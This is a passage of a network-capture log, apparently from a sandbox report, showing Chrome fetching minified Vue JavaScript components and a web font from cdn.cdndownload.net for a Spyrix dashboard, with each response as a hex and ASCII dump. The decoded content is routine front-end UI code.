00:13:07.036&prg_lng=english&os_caption= ()&os_type=windows&
2024-10-02 04:13:10 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:13:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49778	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:09 UTC	595	OUT	GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 796 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-31c" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T19:54:21+00:00 X-Node: m9-up-gc33 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	796	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 2c 67 20 61 73 20 63 2c 63 20 61 73 20 73 2c 6f 20 61 73 20 66 2c 62 20 61 73 20 6d 2c 68 20 61 73 20 70 2c 6e 2c 75 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 78 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 6f 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 54 65 78 74 2e 6d 6f 64 75 6c 65 2d 63 37 36 39 62 39 61 65 2e 6a 73 22 3b 63 6f 6e 73 74 20 62 3d 64 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 77 68 69 74 65 53 70 61 63 65 3a Data Ascii: import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49780	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:09 UTC	562	OUT	GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:09 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 838 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-346" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	838	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 63 20 61 73 20 6e 2c 6d 20 61 73 20 69 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 69 6e 63 6c 75 64 65 73 28 22 40 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 2e 22 29 3f 22 22 3a 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3c 3d 31 38 30 3f 22 22 3a 74 28 22 54 68 65 20 66 69 65 6c 64 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 6c 65 73 73 20 74 68 61 6e 20 31 38 30 20 63 68 61 72 61 63 74 65 72 73 Data Ascii: import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49779	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:09 UTC	590	OUT	GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:09 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3702 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-e76" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	3702	IN	Data Raw: 69 6d 70 6f 72 74 20 42 20 66 72 6f 6d 22 2e 2f 6c 6f 6f 70 2d 63 34 35 66 30 66 31 65 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 64 20 61 73 20 62 2c 6d 20 61 73 20 69 2c 61 69 20 61 73 20 77 2c 63 20 61 73 20 64 2c 6f 20 61 73 20 75 2c 62 20 61 73 20 68 2c 69 20 61 73 20 66 2c 6e 20 61 73 20 6f 2c 75 20 61 73 20 61 2c 68 20 61 73 20 70 2c 55 20 61 73 20 76 2c 7a 20 61 73 20 6d 2c 65 20 61 73 20 43 2c 79 20 61 73 20 49 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 35 36 65 64 66 35 61 36 2e 6a 73 22 3b 63 6f 6e 73 74 20 57 3d 22 2d 7a 74 Data Ascii: import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-zt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49777	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:09 UTC	553	OUT	GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:09 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 523 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-20b" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:11:43+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	523	IN	Data Raw: 69 6d 70 6f 72 74 7b 6f 20 61 73 20 65 2c 62 20 61 73 20 6f 2c 69 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 73 3d 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 32 34 20 32 34 22 7d 2c 6e 3d 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 34 2e 37 32 20 31 33 2e 34 33 34 68 2d 2e 36 37 37 6c 2d 2e 32 34 2d 2e 32 33 32 61 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 31 2e 33 34 36 2d 33 2e 36 32 37 20 35 2e 35 37 34 20 35 2e 35 37 34 20 30 20 31 20 30 2d 35 2e 35 37 34 20 35 2e 35 37 34 20 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 33 2e 36 32 37 2d 31 2e 33 34 36 6c 2e 32 33 32 2e Data Ascii: import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49782	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:09 UTC	395	OUT	GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 129 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-81" Cache: STALE X-Cached-Since: 2024-10-01T19:01:47+00:00 X-Node: m9-up-gc98 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	129	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 5f 36 70 74 63 2d 76 31 6f 22 2c 6f 3d 22 65 54 55 74 31 76 53 4d 22 2c 63 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 6d 70 6c 61 74 65 22 3a 22 5f 36 70 74 63 2d 76 31 6f 22 2c 62 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 74 2c 22 77 69 74 68 2d 69 63 6f 6e 22 3a 22 65 54 55 74 31 76 53 4d 22 2c 77 69 74 68 49 63 6f 6e 3a 6f 7d 3b 65 78 70 6f 72 74 7b 63 7d 3b 0a Data Ascii: const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49785	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:09 UTC	419	OUT	GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	329	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 733 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-2dd" Cache: HIT X-Cached-Since: 2024-10-02T04:11:41+00:00 X-Node: m9-up-gc88 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	733	IN	Data Raw: 69 6d 70 6f 72 74 7b 45 20 61 73 20 75 2c 73 20 61 73 20 6c 2c 61 74 20 61 73 20 69 2c 70 20 61 73 20 6d 2c 64 20 61 73 20 6f 2c 6f 20 61 73 20 72 2c 62 20 61 73 20 5f 2c 72 20 61 73 20 70 2c 6e 20 61 73 20 66 2c 75 20 61 73 20 63 2c 67 2c 65 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 68 7d 66 72 6f 6d 22 2e 2f 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 4d 6f 64 61 6c 2e 6d 6f 64 75 6c 65 2d 33 66 33 36 39 62 33 32 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e Data Ascii: import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49781	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:10 UTC	387	OUT	GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 629 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-275" Cache: STALE X-Cached-Since: 2024-10-01T22:26:05+00:00 X-Node: m9-up-gc97 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	629	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 67 31 6a 44 45 4e 75 51 22 2c 6f 3d 22 6b 6e 33 2d 6a 70 61 38 22 2c 64 3d 22 70 69 31 61 53 67 71 4e 22 2c 72 3d 22 59 78 32 6d 49 6a 4e 35 22 2c 6e 3d 22 47 51 54 58 6e 50 56 68 22 2c 73 3d 22 53 70 74 36 4f 6f 39 41 22 2c 63 3d 22 52 6d 44 6c 44 74 50 31 22 2c 74 3d 22 6e 4c 49 47 57 42 32 6b 22 2c 6c 3d 22 49 65 50 78 6f 4f 71 53 22 2c 69 3d 22 41 55 6d 76 4e 54 7a 36 22 2c 61 3d 22 5f 36 76 58 51 70 6d 51 44 22 2c 6d 3d 22 71 33 56 30 32 46 68 36 22 2c 62 3d 22 53 4a 30 47 50 63 38 65 22 2c 79 3d 22 5f 35 56 65 61 78 45 64 39 22 2c 70 3d 22 63 4b 66 79 68 4a 71 2d 22 2c 68 3d 22 47 77 2d 6c 36 37 79 4d 22 2c 75 3d 22 58 6a 4a 4d 4f 6a 4b 46 22 2c 78 3d 22 57 5a 68 5a 2d 5a 4b 4c 22 2c 50 3d 22 65 49 48 36 65 73 68 57 22 2c Data Ascii: const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49784	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:10 UTC	386	OUT	GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1392 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-570" Cache: STALE X-Cached-Since: 2024-10-01T07:23:25+00:00 X-Node: m9-up-gc81 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	1392	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 75 20 61 73 20 6e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 72 3d 28 65 2c 6f 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 22 69 6e 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3e 61 5b 74 5d 3f 31 3a 2d 31 29 3b 63 61 73 65 22 64 65 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3c 61 5b 74 5d 3f 31 3a 2d 31 29 7d 7d 2c 79 3d 6e 28 22 6d 6f 64 61 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 6d 6f 64 61 6c 73 51 75 65 75 65 3a 5b 5d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 69 73 41 63 74 69 76 65 41 6e 79 4d 6f 64 61 6c 28 65 29 7b 72 65 74 75 72 6e 21 21 65 Data Ascii: import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49786	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:10 UTC	391	OUT	GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 120 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-78" Cache: STALE X-Cached-Since: 2024-10-02T02:32:02+00:00 X-Node: m9-up-gc31 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	120	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 76 61 4a 67 37 58 47 66 22 2c 6f 3d 22 6d 74 78 46 75 75 71 6f 22 2c 6e 3d 22 4d 74 41 55 6d 34 72 64 22 2c 78 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 78 74 22 3a 22 76 61 4a 67 37 58 47 66 22 2c 62 75 74 74 6f 6e 54 65 78 74 3a 74 2c 74 65 78 74 3a 6f 2c 70 72 69 6d 61 72 79 3a 6e 7d 3b 65 78 70 6f 72 74 7b 78 20 61 73 20 63 7d 3b 0a Data Ascii: const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49783	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:10 UTC	416	OUT	GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:10 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:10 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1185 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-4a1" Cache: STALE X-Cached-Since: 2024-10-01T22:59:43+00:00 X-Node: m9-up-gc57 Accept-Ranges: bytes
2024-10-02 04:13:10 UTC	1185	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 6f 20 61 73 20 6e 2c 62 20 61 73 20 69 2c 72 20 61 73 20 73 2c 66 20 61 73 20 75 2c 6e 20 61 73 20 64 2c 75 20 61 73 20 6c 2c 77 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 6d 6f 64 75 6c 65 2d 36 64 34 65 39 31 62 38 2e 6a 73 22 3b 63 6f 6e 73 74 20 66 3d 5b 22 74 79 70 65 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6d 3d 5b 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 22 2c 70 72 6f 70 73 3a 7b 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 6d 64 22 7d 2c 76 61 72 69 61 6e 74 3a 7b 64 65 66 61 75 6c 74 3a 22 Data Ascii: import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49787	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:11 UTC	637	OUT	GET /dashboard30/assets/Nunito-Bold-765bfff4.woff2 HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:11 UTC	365	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:11 GMT Content-Type: font/woff2 Content-Length: 43608 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-aa58" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:55+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:11 UTC	3731	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 58 00 10 00 00 00 02 04 48 00 00 a9 f2 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 84 32 1b 82 91 14 1c 9a 08 06 60 3f 53 54 41 54 44 00 95 2a 11 08 0a 84 b7 40 83 c9 72 0b 91 16 00 01 36 02 24 03 a1 38 04 20 05 87 46 07 cd 35 0c 07 5b c9 c3 91 09 e5 c6 76 bf d7 2d 00 20 2d 83 74 1b 02 94 6d 6a 69 d9 e3 f3 5c 60 93 21 98 eb 7b 76 8e da 71 62 a5 de cb 58 c2 8e 59 2d 30 76 30 9e e7 ce 27 c9 fe ff ff ff ff ff 7f 51 b2 90 31 bd ff 90 fb 24 49 40 04 50 51 50 56 b5 b6 db 74 9a 05 44 b3 14 33 8a 62 a8 15 24 2c aa a4 ca 56 35 bd 3b 88 5e 1e fb 9e 62 18 a2 7b 4b 75 a4 3b d5 29 6b b3 59 a5 72 8a e7 18 bb cb 54 4a 99 7b 64 a6 94 8e cb f5 86 9c 7b 64 b1 c6 98 11 37 96 32 dd 8f f7 47 d8 5b cc 98 e4 ac 8f Data Ascii: wOF2XH2`?STATD*@r6$8 F5[v- -tmji\`!{vqbXY-0v0'Q1$I@PQPVtD3b$,V5;^b{Ku;)kYrTJ{d{d72G[
